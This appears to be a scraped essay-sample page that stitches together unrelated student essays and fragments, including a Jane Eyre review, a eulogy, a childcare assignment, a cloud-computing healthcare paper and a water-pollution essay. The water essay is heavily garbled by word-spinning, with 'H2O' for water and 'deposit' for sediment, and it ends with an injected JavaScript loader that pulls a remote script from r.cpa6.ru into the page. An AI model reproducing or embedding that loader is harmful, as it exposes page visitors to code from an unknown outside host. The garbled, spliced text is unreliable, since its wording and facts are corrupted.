Analysis Of Charlotte Brontes Beloved Novel Jane Eyre

The Many Lovely Things of Jane Charlotte Bronte’s beloved novel Jane Eyre stepped out of the literary world and into our own when The Hale Center Theatre in Orem, Utah set this moving story to the stage. This follows the narrative of a young Jane Eyre, starting as an orphan in a victorian society, she struggles to find a place to belong. After being branded as a troubled and mischievousness child she is sent to a religious christian school to learn her place. Here she finds a much needed friend, but when her only companion dies of a fervours epidemic she again finds herself alone in the world. Even so Jane is determined to make something of herself, so she leaves the only life she’s ever known to become the governess of a young Adele.†¦show more content†¦Dallyn Vail Bayles and Elizabeth Dabczynski-Bean play the roles of the lead characters, Jane Eyre and Edward Fairfax Rochester. They worked very well together and so did much of the cast. It was not hard to fall in love with the characters, to not just want but to need to reach out to them when they were in distress and to not laugh along when everything was going right. I felt that they had practiced enough that not only were they comfortable inside their characters, but that if the need arose they could deliver their character just as well in improve, without the need for a script. They didn’t fail to make even the minor characters feel like real people, not just mindless background noise to the the stars of this production. For example; the servant Robert hardly says a word throughout the whole thing, and yet I found myself caring very much for him and being able to distinguish a personality in him. Even though he simply carries wine bottles to those who request them and inform people when they re needed somewhere. The acting of the characters was quite enjoyable, but the stage was like a good book with a disastrous cover. The Hale Center Theatre is set up so that the audience may view it from three sides of the actual stage. This would be rather exciting for anyone who enjoys going to the theatre on a regular basis, but I would say that in the case of this particular auditorium it does more harmShow MoreRelatedSimilarities Between Charlotte Brontes Life and Jane Eyres Life6996 Words   |  28 Pagessimilarities between Jane Eyre and Charlotte Bronteâ €™s life. The aim is to find out how Charlotte Bronte’s life and experiences affect Jane Eyre. The most frequently and the most effective similarities from the earlier parts of their lives to the end of their lives are given in this study. It is also aimed to determine the frequency of similarities and effectiveness of these similarities by analyzing their lives. After analyzing the collected data, the findings of the analysis show that there are manyRead MoreSimilarities Between Charlotte Bronte’s Life and Jane Eyre’s Life7010 Words   |  29 Pagessimilarities between Jane Eyre and Charlotte Bronte’s life. The aim is to find out how Charlotte Bronte’s life and experiences affect Jane Eyre. The most frequently and the most effective similarities from the earlier parts of their lives to the end of their lives are given in this study. It is also aimed to determine the frequency of similarities and effectiveness of these similarities by analyzin g their lives. After analyzing the collected data, the findings of the analysis show that there are manyRead MoreJane Eyre And The Importance Of Being Earnest By Oscar Wilde2029 Words   |  9 PagesDuring the height of the Victorian Era, in which the books Jane Eyre, by Charlotte Bronte, and the Importance of Being Earnest, by Oscar Wilde, it was not uncommon for more well-off households of the era to have at least one Governess hired to help keep the younger residents educated and orderly, and to keep the servants of the manor abiding by the constructs in which the Victorian era set out for them as consistently as possible. Therefore, because the Governess was so prominent within the rich

Euglogy for My Father - 837 Words

I would like to thank everyone for coming here today to celebrate and remember the life and legacy of my father, Samuel Goode. It is an honor to have the president, diplomats from various countries, multiple senators and congressmen—such distinguished people—in our presence. Even though Samuel Goode’s life was tragically cut short, everyone here knows that he will be remembered in our hearts for many years to come. My father was born at the turn of the twenty-first century and got to grow up with the constantly changing technology of the time. This adaptability would serve him well later on in life. Throughout his school years, he was an excellent student. By the age of fifteen he had achieved the rank of Eagle Scout in Boy Scouts of America. Heavily involved in scouts, he supported them for the remainder of his life. During his senior year in high school, he attended Eastfield College in Mesquite. The next year, he was accepted and attended the United States Naval Academy. There he majored in quantitative economics and minored in Chinese studies. In May of 2017, he received his commission as an Ensign in the United States Navy. He spent the next eight years of his life in the navy, reaching the rank of lieutenant commander. During this time he met my mother, and they dated for three years. My father liked to say my mother could not make her mind up on marriage. After three proposals and rejections, she finally said yes the fourth time he proposed to her. They

Early Learning and Childcare Free Essays

Early learning and childcare 63 Trafford rd rushden northans nn10 Abigail wignall sh40856/NCC assignment 1 pg1 Task1. 1 From birth to adulthood children continually grow develop and learn,if children do not develop propely they may be unable to reach their full potential. All young people follow a similar pattern of develpoment,however each child is diffrent and may develop at a diffrent rate. We will write a custom essay sample on Early Learning and Childcare or any similar topic only for you Order Now There are three areas of development, physical, intellectual,social and emotional. heres is a guide of how they develop for the following age ranges â€Å"taken from study book early learning and childcare†. -3yrs physical development by6months a child will:  ·turn their head towars sounds and movement  ·watch an adults face while feeding  ·smile at familar faces and voices  ·reach up to hold their feet when lying on their backs  ·hold and shake a rattle  ·put everythings in their mouths between 6months and 1year  ·move from sitting with support to sitting alone  ·roll over from their tummy to their back  ·begin to creep, crawl or shuffle on their bottom  ·push on or push against adult hands or furniture to reach a standing position  ·raise arms to be lifted  ·turn and look up when they hear their name pat and poke objects when playing  ·pass objects from hand to hand  ·look for things thathave been hidden or dropped  ·reaches hand toward source of food Between one and two years  ·begin to walk  ·sits alone indefinitely  ·feed themselves  ·push and pull toys while walking  ·wave goodbye  ·point or make noises to indiacte wants  ·enjoy a picture book  ·shake head for no  ·uses thumb and first two fingers to grip  ·crawl upstairs  ·stoops to pick things up from floor  ·begins to show prefrence for onr hand  ·builds tower of few bricks  ·holds crayon in palm and makes marks on paper Between two and three  ·Kneels to play  ·throws kicks ball  ·builds larger bruck tower  ·pour liquids  ·uses pencil to make marks and circular scribbles Newborn to three months the social and emotional development should be the child very depdant on adults maily mother for comfort,cuddles and reassurance and the child will quieten while the adults do so. Between six to nine months the child enjoys the company of others and begin to like games such as peek a boo and show affection to known people but shywith str angers at one to two years their social development should extend to play alongside other children also like to please adults and perform to an audience. They may become upset and distressed if seperated from known adults, a object can be used for comfort. By two to three years they should be developing a sense of own identidy and want to do things themselves and demand adult attention and can become reluctant to share be prone to tantrums outburts but also enjoy playing with adults or older children who give attention, and play with others same age for short periods of time. intelectual development between 0-3years should be begining to realise others are seperate beings from ourselves and become more confident but do still require adult reassurance. At 0-3 months language development should be making happy sounds 6-12 months they should be making babbling sounds and begin show feelings by squealing with pleasure, crying or laughing to show enjoyment. one to two years they should be joining words to make sentances and by two be using 50-150 words and start understand conversation and understand keywords. by 2-3 years should be able to put words together to make sentances scribble on paper use several hundread words by three be joining in songs and be asking questionns like how? why?. Physical development at age 3-7years yrs  ·jump with feet together  ·walk on tip toes  ·go up and down the stairs  ·catch and thow a ball  ·climb  ·paint  ·thread beads on to laces  ·gain controll over eating tools 4years  ·throw with aim  ·use sccissors  ·hold pencil be able draw houses/people 5years  ·hop  ·skip  ·ride bike  ·jump from height  ·climb confidently  ·write  ·thread needles  ·do laces and buttons ( Information found children and young peoples workforce-early learning and childcare 2012) By 3-4years their intellectual development should be as follows, able sort objects into gropus eg colour or size. Understand simple tasks given for example fetch a story book and bring it to mummy. socialy and emotionaly they should have become more independant and self motivated feeling more secure and able cope with unfamilar faces and surroundings for small periods of time. By 4-5years grammar becomes more accurate and their questions become more complex communicating better, able understand books as a source of fun and begin to recoginze wn name and written words theve seen on few occasions, be able form some lettering and begin copying shapes. At age 5-7years they should be handling books well and understand text has meaning, be able make up stories and regonize an increasing number of letters linking them to sound. development at age 7-12 years should be thye child being able to run,hop skip,climb,swing confidently, and start enjoying team games and may misjudge their own abilty before age nine. Social and emotional development at this age range should becoming less dependant on adults nad enjoy being in a group of people at the same age wanting to fit in with the peer rules. They should have an understanding that certain behavoiurs are un acceptable. Begin form close relationships at age eight also becoming more aware of own gender can be bossy or arogant but enjoy playing with others same sex but need adult reassurance and help when comes to arguments in play. Intelecutaly at this age the child should be able to read,write and take an intrest in certain subjects he enjoys by around 9, also be knowing diffrence tenses and grammar,read out loud but may need help tackling complexities of spelling, their vocabulary will grow if adults introduce and encourage new words and ways of using lanuage. At the age 12-19years is said to be the period from childhood to adulthood could start at age 11 and last untill 19-20years. Adolesecnce is a transition period where young people grdually detach themselves from their parents, and form a close group of friends. many physical changes occur at this stage in life, changing their apperance and bodies, coordination and strength increase greatly although every persons rate can be diffrent. Adolesence for boys usually begins later than girls, boys begin to develop sex characteristics like deep voices body hair and muscle growth,testicals and scrotom growth begins in mid puberty penis growth beings a little later but continues growing for a longer period of time. Girls begin breast budding at around age ten, her pubic hair will begin to grow and darken and curl also body begins to to become more round developing curves of womanhood, By 13 some girls can almost be physicaly mature, also this is average age to bein their menstral cycle this can depend on the age of pubertal onset. By age 15 a girl is most likely to e at her adult height and may have a woman figure but her hips and breasts may become fuller. Lanuage development in teenagers may become imtating but that is there way of testing out there new found language and skills like sarcasam, their logical thinking ability is also growing and maturing they may ut them into pratice by debate either fomaly or infomaly. How to cite Early Learning and Childcare, Essay examples

Cloud Computing and Healthcare Sector free essay sample

As in healthcare sector data privacy and security are of high importance. Right information at right time saves lives. But with the new opportunities come few risk too like Data security risks, the risk of loss of data and risk of system unavailability. We see that the information system of hospitals in India not very well managed, they have somewhat rare information. Cloud helps its client with the latest technologies but at a very low price. Client has to pay only for what he uses with minimum resource. The cloud is not about technology, it is the abstraction of technology for delivering pure services. This work proposes a solution based on cloud computing implemented for hospital systems having as a result a better management, high speed for the medical process, and increased quality of the medical services. In this paper we have analyzed the implementation of cloud computing in Indian healthcare sector. Cloud computing technology is still new but promises a revolution in the entire connected areas. Key Terms: Cloud computing; e-Health; cloud and health care I. INTRODUCTION Cloud computing is internet-based computing, where shared servers provide computing power, storage, development platforms or software to computers and other devices on demand. This frequently takes the form of cloud services, such as ‘Infrastructure as a Service’ (IaaS), ‘Platform as a Service (PaaS)’ or ‘Software as a Service’ (SaaS). Users can access web-based tools or applications through a web browser or via a cloud-based resource like storage or computer power as if they were installed locally, eliminating the need to install and run the application on the customer’s own computers and simplifying maintenance and support. There are several possible deployment models for clouds, the most important being public, private and hybrid. [1] Cloud computing is the fastest growing field that provides many different services, which are provided on demand of the client over the web. Cloud computing is based on the model of pay-as-you-go. This gives the user cost reduction, fast and easy way to deploy the applications. Cloud computing usage in the Information Support Systems will facilitate businesses to run smoothly and efficiently. A number of virtual machines and applications can be managed very easily using a cloud. With the use of cloud in businesses will  © 2013, IJCSMC All Rights Reserved 238 Atiya Parveen et al, International Journal of Computer Science and Mobile Computing Vol. 2 Issue. 5, May- 2013, pg. 238-243 not only save the cost of staff required to maintain servers, but will also require lesser servers and with that less power consumption. [2] The most important sector which requires a lot of information, data and computing power is healthcare system. Doctors require medical history of the patients in critical times and within no time. But we see that different departments of a healthcare system has have different information of the patients medical history, with require time to get assembled. Doctors have to start the treatment without the complete information of patient’s medical history, which sometimes, is life threatening for the patient. Technologies could be used in healthcare sector to provide better healthcare facilities and reduce the operations costs. In our country we see that there is scarcity of doctors, nurses and pharmacy. But still there is rapid growth in healthcare services, while diseases are becoming more complex. More and more new and efficient diagnostic techniques and new way of treatments are being developed and used in healthcare sector so as to provide the patients with best possible treatment and in their budget. Many healthcare organizations are providing different kind of services to cater to highly diversified economic population which in turn has resulted in competition in the market. So the organizations which do not perform well are out of business. 3][4] As healthcare providers need cost effective automating processes which gives more profits, cloud computing will provide perfect platform in the healthcare information technology space. Many hospitals may share infrastructure with large number of systems linked together. By this pooling the hospitals automatically reduce the cost and increase utilization. The resources are delivered only when they are required. This also means realtime availability of patient information for doctors, nursing staff and other support services personnel from any internet enabled device [5]. II. ARCHITECTURE AND CHARACTERISTICS OF CLOUD COMPUTING Cloud computing, defined by NIST (National Institute of Standards and Technology) is a technology that supports ubiquity, it is convenient, supplies on demand access to the network for sharing computing resources (e. g. , networks, servers, storage, applications and services), can be launched and developed quickly with minimal management and without service provider interaction. The figure 1 shows visual model of cloud computing definition and this model is composed of five essential characteristics, three service models, and four deployment models. Figure 1: Cloud computing overview model (NIST) A. Characteristics 1. On-demand self-service. A consumer can unilaterally provision computing capabilities, such as server time and network storage, as needed automatically without requiring human interaction with each service provider. 2. Broad network access. Capabilities are available over the network and accessed through standard mechanisms that promote use by heterogeneous thin or thick client platforms (e. g. , mobile phones, tablets, laptops, and workstations). 3. Resource pooling. The provider’s computing resources are pooled to serve multiple consumers using a multi-tenant model, with different physical and virtual resources dynamically assigned and reassigned according to consumer demand. There is a sense of location independence in that the customer generally has no control or knowledge over the exact location of the provided resources but may be able to specify location at a higher level  © 2013, IJCSMC All Rights Reserved 239 Atiya Parveen et al, International Journal of Computer Science and Mobile Computing Vol. Issue. 5, May- 2013, pg. 238-243 of abstraction (e. g. , country, state, or datacenter). Examples of resources include storage, processing, memory, and network bandwidth. 4. Rapid elasticity. Capabilities can be elastically provisioned and released, in some cases automatically, to scale rapidly outward and inward commensurate with demand. To the consumer, the capabilities available for provisioning often appear to be unlimited and can be appropriated in any quantity at any time. 5. Measured service. Cloud systems automatically control and optimize resource use by leveraging a metering capability1 at some level of abstraction appropriate to the type of service (e. g. , storage, processing, bandwidth, and active user accounts). Resource usage can be monitored, controlled, and reported, providing transparency for both the provider and consumer of the utilized service. [6] B. Cloud computing Service Models: 1. Software as a Service (SaaS). The capability provided to the consumer is to use the provider’s applications running on a cloud infrastructure2. The applications are accessible from various client devices through either a thin client interface, such as a web browser (e. g. , web-based email), or a program interface. The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, storage, or even individual application capabilities, with the possible exception of limited user-specific application configuration settings. 2. Platform as a Service (PaaS). The capability provided to the consumer is to deploy onto the cloud infrastructure consumer-created or acquired applications created using programming languages, libraries, services, and tools supported by the provider. 3 The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, or storage, but has control over the deployed applications and possibly configuration settings for the application-hosting environment. 3. Infrastructure as a Service (IaaS). The capability provided to the consumer is to provision processing, storage, networks, and other fundamental computing resources where the consumer is able to deploy and run arbitrary software, which can include operating systems and applications. The consumer does not manage or control the underlying cloud infrastructure but has control over operating systems, storage, and deployed applications; and possibly limited control of select networking components (e. g. , host firewalls). [6] C. Deployment Models: 1. Private cloud. The cloud infrastructure is provisioned for exclusive use by a single organization comprising multiple consumers (e. . , business units). It may be owned, managed, and operated by the organization, a third party, or some combination of them, and it may exist on or off premises. 2. Community cloud. The cloud infrastructure is provisioned for exclusive use by a specific community of consumers from organizations that have shared concerns (e. g. , mission, security requirements, policy, and compliance considerations). It may be owned, managed, and operated by one or more of the organizations in the community, a third party, or some combination of them, and it may exist on or off premises. . Public cloud. The cloud infrastructure is provisioned for open use by the general public. It may be owned, managed, and operated by a business, academic, or government organization, or some combination of them. It exists on the premises of the cloud provider. 4. Hybrid cloud. The cloud infrastructure is a composition of two or more distinct cloud infrastructures (private, community, or public) that remain unique entities, but are bound together by standardized or proprietary technology that enables data and application portability (e. . , cloud bursting for load balancing between clouds). [6] For healthcare system private model could be used as it will provide data privacy and security. Only authorized healthcare professionals can access the data. III. CLOUD IN INDIAN SCENARIO The Indian healthcare sector, currently valued at USD 65 billion, is expected to reach USD 100 billion by 2015. Its growth rate is about 20 percent a year. Between 2000 and 2011 the foreign direct investment in hospitals and diagnostic centres was USD 1. 1 billion. According to Rural Health Survey Report 2009 of the Ministry of Health the rural healthcare sector is also growing very fast, around 15,000 health sub-centres and employing 28,000 nurses and midwives during the last five years. Primary health centres in the country have grown by 84 percent. Due to economic boom in country, middle class has now more money to spend on healthcare. Due to the new government policies for healthcare, many convincing opportunities like improvement of new infrastructure and better medical equipment are being used. 11]  © 2013, IJCSMC All Rights Reserved 240 Atiya Parveen et al, International Journal of Computer Science and Mobile Computing Vol. 2 Issue. 5, May- 2013, pg. 238-243 Small and medium business will have great benefits from the use of cloud computing. As we know, small and medium businesses contribute about 600 billion USD to Indian GDP. But these business spend very less on their IT infrastructure, therefore they will be the main target user of cloud computing. Clouds computing will help them not to make huge investments in the start. Cloud computing offers state-of-the-art IT infrastructure, software, security, customization, and access to emerging technologies. They only need to pay for the resources they use. Indian IT companies are also working on cloud computing services. There are many cloud applications on the Windows Azure platform by companies like Wipro, Infosys, TCS, HCL Technologies, Mahindra Satyam and many others, for the healthcare, banking, and manufacturing sectors, applications for both Indian and International clients [12]. IV. LIMITATION OF CURRENT E-HEALTH SYSTEM Some of the limitations of current e-health (electronic system) are as follows [7]: a) Rising healthcare expenditure and unsustainable healthcare systems: In India we see every year the health expenditure is continuously rising faster than the economic growth of the country. b) Rise of chronic diseases c) Medication errors d) Medical errors due to poor communication: Poor communication is the causal factor in over 60% of medical errors. V. BENEFITS OF CLOUD COMPUTING IN E-HEALTH a) Better treatment: a unified medical record for patients available anytime and anywhere would help doctors to have all of the patient’s medical history and treat them to the best. b) Reduced Cost: due to the property of resource sharing of cloud computing , the cost of establishing the IT infrastructure is reduced as such that the client only need to bear a minimum cost of shared infrastructure with the flexibility of paying only for actual resource utilization. This property is very advantageous for small and medium sized healthcare providers. ) No scarcity of resources: both scarcities of IT infrastructure and of healthcare professionals are met effectively as by using cloud computing would provide unlimited resource at a very cheap cost as well as good medical professional would be available in remote rural part of the country. d) Improved quality: as all the medical data are stored at one place, it would be quite easy to provide it to Ministry of Health or the World Health Organisation with patient’s safety and the quality of treatment given. ) Support research: as all the data are available at a single repository, it would be easy for carrying out medical research to provide new medical facts, enhance medications, medical treatments and healthcare services. f) Support national security: e-health cloud would help in checking the spread of contagious diseases, its cause for spread, spreading pattern and infection area. g) Support strategic planning: e-health cloud data may be used by decision makers for planning and budgeting for healthcare services. [8] Apart from the above discussed points, there are many more advantages of using cloud computing with ehealth. VI. E-HEALTH CLOUD RISKS Technical Risks †¢ Availability: as most of the healthcare providers would be using e-health cloud services, so to works continuously and effectively, services and data should be available all the time without performance degradation. Cloud services may not be available all the time due to hardware or software failure, network failure, security attacks and natural disasters. As e-health cloud would be available via Internet therefore serious steps should be taken to react rapidly and efficiently to such threats and ensure continuity of services to the healthcare providers. Services should not even stop for software installation, reconfiguration, and upgrade. †¢ Reliability: using cloud computing for such a sensitive field require reliability for the provided services. Not even a minute mistake in medical data and services could be tolerable as decision regarding treatment of patients is dependent on these data and services. The data must be consistent and in valid state all the time regardless of being collected from multiple sources. †¢ Data Management: a good database management is required for handling such a diversified data. 1.  © 2013, IJCSMC All Rights Reserved 241 Atiya Parveen et al, International Journal of Computer Science and Mobile Computing Vol. 2 Issue. 5, May- 2013, pg. 238-243 †¢ †¢ †¢ †¢ †¢ Scalability: as e-health cloud would be having hundreds of healthcare providers with millions of patients, and this would always be growing, so e-health cloud should be scalable i. e. it should grow without compromising on performance. Flexibility: as different healthcare providers might be having different requirements like function, operations, users, auditing, management and quality of service, e-health cloud must be able to cater to all of them as per their need. Interoperability: as there are multiple cloud service providers, services of e-health cloud for a client could be provided by different service provider, therefore they all should work on same framework. Security: as many service providers could provide the e-Health Cloud services, and it would be used by many healthcare providers, therefore there security risk would be very high. When a single healthcare provider is using its own IT infrastructure then it won’t be problem of security as it could monitor its network effectively but on a shared network various authentication methods and access controls would be required. Privacy: amongst all the issues of e-health cloud, the most important one is privacy. If privacy is not handled effectively then it won’t be possible to use cloud computing in healthcare. Patient’s medical data must be protected from other healthcare providers but associated organization might need that data so it is very important to control access of data. [8][9] 2. Non-Technical Risks †¢ Organizational change: if e-health cloud is used in a healthcare organization, then many changes would be done like new policies, procedures and workflows as well changes in the process how documentation is done. Data ownership: in healthcare sector still there is no clear guideline for ownership of patient’s record. This needs to be addressed very well so that every party (like patient, doctor, insurer or hospital management) has clear understanding of his ownership boundaries. †¢ Privacy, trust and liability issues: as cloud is on Internet there is a risk of data l eakage, private data exposure and data loss which could result in loss of reputation of healthcare provider as well as patient’s trust. Usability and end users experiences: e-health cloud success lies in the fact that, it is adopted by patients, healthcare professionals, management and insurance companies. To overcome this marketing and training should be done thoroughly [8] Figure 2. The generic architecture of e-Health Cloud VII. CONCLUSIONS E-health cloud is the next big buzz in healthcare sector. Cloud has the potential to transform the healthcare sector. With the use of cloud computing in healthcare sector, it would become centralized, and as data could be shared between all the healthcare providers on cloud, there would be collaboration as well as virtualization. 2013, IJCSMC All Rights Reserved 242 Atiya Parveen et al, International Journal of Computer Science and Mobile Computing Vol. 2 Issue. 5, May- 2013, pg. 238-243 With the help of cloud computing, rural healthcare centres would efficiently use their IT infrastructure to the maximum and increase its profits. It would also help patients to have better treatment, hospitals as well as doctors. It would also help in carrying out research work, sharing data and analysing it. There cannot be one deployment model or the service model that can cater to Healthcare world. It has to be customized clouds.

Water Degradation Essay Research Paper Water Degradation free essay sample

Water Degradation Essay, Research Paper Water Degradation Based on the article: River Life Through U.S. Broadly Degraded. By William K. Stevens, Jan. 26, 93 Society has been presented with a wide spectrum of cause and effectrelationships within the H2O based ecosystems. Without a witting attempt torehabilitate our H2O systems many rivers and lakes are doomed. We have to look afterthis cherished resource. Fortunately many new controls and clean up plans have beenintroduced. Rivers are being devastated due to physical and ecological transmutation. Thisdecrease in the quality of river and H2O organic structures consequences from human activities andprocesses. The ecosystems are altering quickly. It is necessary to keep aconsistent balance in these ecosystems. Imbalances are happening with alimentary degrees, H2O temperature, H2O degree, and deposit. # 8220 ; The watercourse so carries moresediment and becomes wider, shallower, and heater, doing the H2O unfit for manyvital organisms. # 8221 ; ( Stevens, New York Times, Jan. We will write a custom essay sample on Water Degradation Essay Research Paper Water Degradation or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page 26, 1993 ) The activities impacting the watercourses are every bit diverse as the countries in which streamsare being affected. Dams are capable of destructing entire ecosystems. They affectwater degrees, and therefore affect H2O temperature. Changes in river temperature candestroy entire population of beings. In add-on they affect alimentary degrees bycutting them off, non leting them to flux down watercourse. Salmon runs frequently fall preyto the concrete monsters. Although this is frequently bypassed with pink-orange elevators.Development of land frequently consequences in the straightening, channeling, and diversionof the rivers and watercourses. Many rivers and watercourses have merely dried up most of theyear, and some neer make it all the manner to the ocean. This can be lay waste toing to thewide assortment of species, and decimate niches and ecosystems take downing the biological+ H ) 0*0*0* . . + diverseness. Development is frequently damaging to river bank flora. This al lowswater to run off excessively rapidly, therefore cut downing the H2O keeping capacity of the land, andadding to deposit. Channeling and recreation can besides be found in agribusiness and farming practices.In add-on chemical fertiliser and carnal waste merchandises run off causes an surfeit of foods being added to the H2O interrupting the delicate balances.Plowing and other patterns leave dirt victim to eroding which adds to thesedimentation of the river. Forestry is besides a major cause of watercourse deposit. When the works materialis removed the dirt surface it is left really susceptible to eroding. This produces a lotof extra deposit over a long period of clip. After an country is cleared thechemical balances are affected as good. # 8220 ; In peculiar, Ranberg and co-workers provedthat alkalinity increased when forest land was converted into agricultural land andacidification occurred when patterns were abandoned. # 8221 ; ( Charles, Nature, April 29,93 ) This clearly show s how the lake chemical science is affected by forestry and agriculture.Urban and suburban countries are besides to fault. We continuously remove H2O from R / gt ; our H2O ways for usage, and replace it with wastes. This leads to nutrification andgeneral impairment of the H2O. # 8220 ; Nationwide, there are 2,100 wellness advisories forfish contaminated by toxic chemicals, harmonizing to a 1991 National Academy of Sciencesreport, Seafood Safety. # 8221 ; ( Marx, EPA Journal, Sept-Oct, 92 ) Heated outflowing releasedinto river ecosystems are frequently damaging. Emissions affect lake and riveracidification and hence the ability to back up aquatic beings. The effects ofacid rain take a heavy toll on ecosystems whether they are H2O based or non. Another job the river ecosystems are confronting are alien species. Somespecies are merely of course happening incidence, others are human introduced. # 8220 ; Theyhave significantly reduced biological diverseness through predation, change of home ground, debut of diseases or parasites and crossbreeding with native organisms. # 8221 ; ( Stevens, New York Times, Jan. 26, 93 ) This shows the effects of p resenting a foreignspecies to an established home ground. There are a figure of factors impacting our riversand ecosystems. Fortunately some witting attempt is being made to continue thisvaluable resource. These include salvaging the headwaters of major rivers, replantingriver Bankss, and authorities carbon monoxides operative H2O ordinance at dike. An illustration of the efforts to assist our current H2O state of affairs is Chesapeake Bay where local authoritiess have agreed to cut down the sum of foods being released by 40 % before the twelvemonth two 1000. Another signifier of saving is the liming of H2O organic structures rivers and entirewatersheds. Birdliming is the chemical neutralisation of acidic Waterss. By liming theentire watershed, the intervention can last five to ten old ages. # 8220 ; Harvey Olem saysresearchers have estimated that half the U.S. surface Waterss acidified by air pollutants will finally retrieve under the emanations control strategies most likely to e merge from strengthened Clean Air Act ordinances. # 8220 ; The other half will remainacidic, # 8221 ; he observes. And for them # 8220 ; liming may be an option a tool for reconstructing theirfisheries. # 8221 ; ( Raloff, Science News, Feb 24, 1990 ) A batch of common patterns must shortly come to a arrest. Obviously we are seting a veryheavy load on our waterways. The effects of this are really clear. In order to dealwith these jobs we must get down at the root of the job. We must cut down ourwastes and happen alternate agencies for disposal. We must cut back on emanations. Manythings are being done, and Acts of the Apostless are being passed. The public population is get downing totake it upon themselves to care for their river systems. Fortunately rivers are able, for the most portion, to reconstruct themselves one time the inhibiting factors are removed. BIBLIOGRAPHYDonald Charles, # 8220 ; Acid Rain Not Merely To Blame, # 8221 ; + +Nature, # 8211 ; April 29, 93, P. 784 Janet Raloff, # 8220 ; Lime for Your Drink? , # 8221 ; + +Science News, # 8211 ; February 24, 90, P. 127Wesley Marx, # 8221 ; Great Waterbodies at a Watershed, # 8221 ; + +EPA Journal- , September October,92, P. 45-48William K. Stevens # 8220 ; River Life Through U.S. Broadly Degraded, # 8221 ; + + New York Times, # 8211 ; January26, 93. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Botic Essays - Systems Ecology, Ecosystem, Biogeochemical Cycle

Botic Essays - Systems Ecology, Ecosystem, Biogeochemical Cycle Botic Option 1: Ecosystem Components Paper Select a representative natural ecosystem in your area or one that you are interested in?such as a lake, preserve, or park?that is managed for native species. ?Write a 700- to 1,050-word paper explaining the following: oThe major structural and functional dynamics (processes) of that ecosystem including change over time oHow humans may have affected biogeochemical cycles in that ecosystem, including impacts to the nitrogen, phosphorus, or carbon cycle oHow knowledge about that ecosystem?s structure and function can help or has helped to develop plans for its management and restoration oThe implication of species interactions in ecosystem management and restoration ?Include two outside references. ?Format your paper consistent with APA guidelines. Option 2: Ecosystem Components Video and Summary Select a representative natural ecosystem in your area or one that you are interested in?such as a lake, preserve, or park?that is managed for native species. ?Shoot a 7- to 10-minute video chronicling the following: oThe major structural and functional dynamics (processes) of that ecosystem including change over time oHow humans may have affected biogeochemical cycles in that ecosystem, including impacts to the nitrogen, phosphorus, or carbon cycle oHow knowledge about that ecosystem?s structure and function can help or has helped to develop plans for its management and restoration oThe implication of species interactions in ecosystem management and restoration ?Conduct research on the natural ecosystem you selected or interview natural resource management staff or other expert personnel. ?Write a 200- to 300-word summary of your video describing your approach to this assignment. ?Edit and format your video for flow.

Leading Linklaters to Its Goal through Training and Development Essay

Leading Linklaters to Its Goal through Training and Development - Essay Example In 2010, Linklaters was reported to rank fourth instead (AmericanLawyer.com 2010), exchanging places with B&M, a U.S. competitor. The decline in revenue implies a gap in the performance of Linklaters firms. II. Training Needs Analysis Linklaters has identified that in order to retain its previous position in the industry, it has to improve on building relationships that endure through business cycles. In accordance to this, the firm determines its need to constantly focus on their clients, deeply understand the global market, be globally minded and committed while showing integrity in the way employees and lawyers interact with the communities they serve. The training to be provided would involve all employees and lawyers within the Linklaters firms. In consideration of the different roles they play in the organisation, separate trainings will be provided to emphasise best practices of customer care in each unit. III. Training Plan A strong presence in the global market practically r equires an organization to be customer-focused. The satisfaction of returning customers can help spread the good word to attract new customers to the services of the firm. In addition, new or first-time customers should develop a good impression of the firm to ensure satisfaction and increase referrals. John (2003) identifies that a customer-focused firm has an intimate knowledge of its customers. Customer intimacy helps to provide superior customer value or operational excellence. Likewise, it allows improvement of customer value, thus leading to the attainment of product leadership. The effort to achieve customer intimacy and product excellence serves as ‘a guiding element in corporate strategy and performance’ (208). The corporate structure of Linklaters suggests the need for a common ground in customer-focused practices. The training to be conducted would yield a list of best practices for each unit of lawyers and employees in countries around the globe where Linkla ters has its presence. Establishing best practices for customer care would strengthen the corporate identity of the firm and promote better global corporate performance. IV. Training Aim, Objectives and Motivation A. Aim The training aims to promote the use of best practices to improve customer intimacy and corporate identity. B. Learning Outcomes By the end of the training, the participants will be able to: A. Emphasise the importance of customer intimacy among employees and lawyers B. Identify best practices of customer service in each department/unit to promote a common corporate identity among partner firms C. Show camaraderie among members of the community to help in cascading customer intimacy D. Establish means and procedures for evaluating customer satisfaction and intimacy. C. Motivation The motivation of the training is goal orientation. In the first part of the training, the facilitator will explain to the participants the goal of the company and the reason for conducting the training. V. Training Design A. Introduction Participants will introduce themselves and mention their role in their respective departments. B. Content Lecture: What are Best Practices? A short lecture will be conducted by the facilitator to define best practices and their significance in an organisation. This sets the mind of the learners to understand that best practices are important in an organisation especially global firms like Linklaters. Importantly, the short lecture will

Transcendental Meditation Essay Example | Topics and Well Written Essays - 1250 words

Transcendental Meditation - Essay Example The practice of Transcendental Meditation is one of the varieties of Sanskrit mantras consisted of short words or phrase that when repeated in thought is expected to help the practitioner still the activity of thought and find a deeper level of consciousness. Here, one understands that the basic process of TM is not very different from other forms of meditation, starting with a deep body and mind relaxation for 20 minutes daily, followed by the â€Å"seven-step process,† wherein the first three can be self-taught and the last four, instructed. In order to practice Transcendental Meditation, an individual needs to be initiated by a teacher. This initiation involves sessions of formal instruction, followed by a ceremony in which the applicant makes monetary and other offerings and receives his mantra, selected by the teacher on the basis of the meditator’s temperament and occupation. As previously mentioned, at least a million Americans are initiated today, underscoring TM’s widespread appeal. Transcendental Meditation’s appeal to people is anchored on its recognition that there is a hunger for spiritual vision in the modern world, particularly in the West, which is, then, infused with the spirit of practicality. Firstly, TM has benefited from the tradition that has been cultivated by the practice of yoga by Maharishi’s predecessors, the Eastern mystics, Vivekananda and Yogananda. Then, according to Coward, Hinnells, and Williams, Maharishi emphasized the practical aspect of meditation instead of its religious context.

Peer reviewded Essay Example | Topics and Well Written Essays - 1000 words

